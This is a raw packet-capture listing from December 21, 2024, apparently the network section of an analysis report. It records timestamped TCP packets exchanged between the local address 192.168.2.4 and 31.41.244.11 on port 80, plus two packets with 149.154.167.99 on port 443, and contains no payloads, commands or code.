Dec 21, 2024 10:15:33.862737894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.863348961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.863409996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.863468885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.863517046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.864183903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.864243984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.864337921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.864401102 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.865055084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.865114927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.865143061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.865222931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.865858078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.865992069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.866069078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.866667986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.866818905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.866884947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.867518902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.867562056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.867618084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.867681026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.868423939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.868542910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.868562937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.868685007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.869126081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.869190931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.869221926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.869337082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.869909048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.870013952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.019126892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.019273996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.019293070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.019340038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.019655943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.019668102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.019750118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.020390034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.020554066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.020620108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.021110058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.021152973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.021250963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.021972895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.022015095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.022025108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.022767067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.022840977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.022864103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.022922993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.023572922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.023705006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.023796082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.024393082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.024540901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.024619102 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.025325060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.025499105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.025598049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.026072025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.026132107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.026159048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.026870012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.026968002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.026989937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.027251959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.027705908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.027815104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.027879000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.028600931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.028642893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.028717041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.029372931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.029432058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.029586077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.030175924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.030271053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.030338049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.031073093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.031086922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.031150103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.031150103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.031811953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.031898975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.031970978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.032655001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.032747030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.032812119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.033507109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.033560991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.033596039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.034259081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.034357071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.034403086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.034713030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.035083055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.035140991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.035223961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.035995960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.036040068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.036092997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.036732912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.036806107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.036838055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.036886930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.037569046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.037803888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.037843943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.038506031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.038516998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.038566113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.039208889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.039345980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.039455891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.040128946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.040139914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.040182114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.040220976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.040844917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.040909052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.041034937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.041090012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.041686058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.041749954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.041778088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.042530060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.042593956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.042707920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.043287992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.043330908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.043493032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.043549061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.044214964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.044312954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.044377089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.044986963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.045159101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.045274973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.045856953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.046022892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.046102047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.046668053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.046719074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.046787024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.047243118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.047547102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.047610044 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.047626972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.047684908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.048302889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.048391104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.048414946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.048468113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.049110889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.049217939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.049241066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.049283981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.050002098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.050179958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.050204039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.050301075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.050832033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.050909996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.050934076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.051013947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.051651001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.051662922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.051714897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.052531004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.052634954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.052722931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.053244114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.053291082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.053370953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.054111958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.054176092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.054323912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.054876089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.054963112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.055025101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.055082083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.055737972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.055839062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.055919886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.056534052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.056663036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.056718111 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.057421923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.057564974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.057646036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.058219910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.058353901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.058466911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.059029102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.059164047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.059201002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.060103893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.060170889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.060206890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.060250998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.060940981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.060976028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.061091900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.061697960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.061708927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.061775923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.062310934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.062370062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.106404066 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.106519938 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.211070061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.211141109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.211337090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.211380005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.211477995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.211544991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.212208986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.212311983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.212333918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.213076115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.213186979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.213212967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.213836908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.213888884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.213911057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.213989019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.214715004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.214725971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.214766979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.215579033 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.215701103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.215809107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.216325045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.216388941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.216424942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.217175007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.217267990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.217287064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.218039036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.218100071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.218130112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.218168974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.218820095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.218936920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.219053030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.219824076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.219835043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.219989061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.220458984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.220513105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.220699072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.221306086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.221360922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.221390009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.222222090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.222233057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.222309113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.223202944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.223213911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.223301888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.223870993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.223882914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.223968983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.223968983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.224549055 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.224638939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.224663019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.224720955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.225389957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.225511074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.225536108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.225594997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.226205111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.226295948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.226321936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.226624012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.227066040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.227152109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.227184057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.227266073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.227854967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.227936983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.227971077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.228801012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.228811979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.229053974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.229053974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.229490042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.229690075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.229764938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.230454922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.230465889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.230592012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.231154919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.231208086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.231272936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.231977940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.232068062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.232089996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.232800007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.232980967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.233006954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.233140945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.233726978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.233788967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.233938932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.233980894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.234467030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.234568119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.234621048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.234621048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.235340118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.235377073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.235418081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.235418081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.236094952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.236181021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.236202955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.236257076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.236933947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.236990929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.237015963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.237298965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.237761974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.237843037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.237895012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.238620996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.238704920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.238745928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.238746881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.239419937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.239492893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.239518881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.239622116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.240242004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.240391016 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.240416050 CET	80	49808	31.41.244.11	192.168.2.4
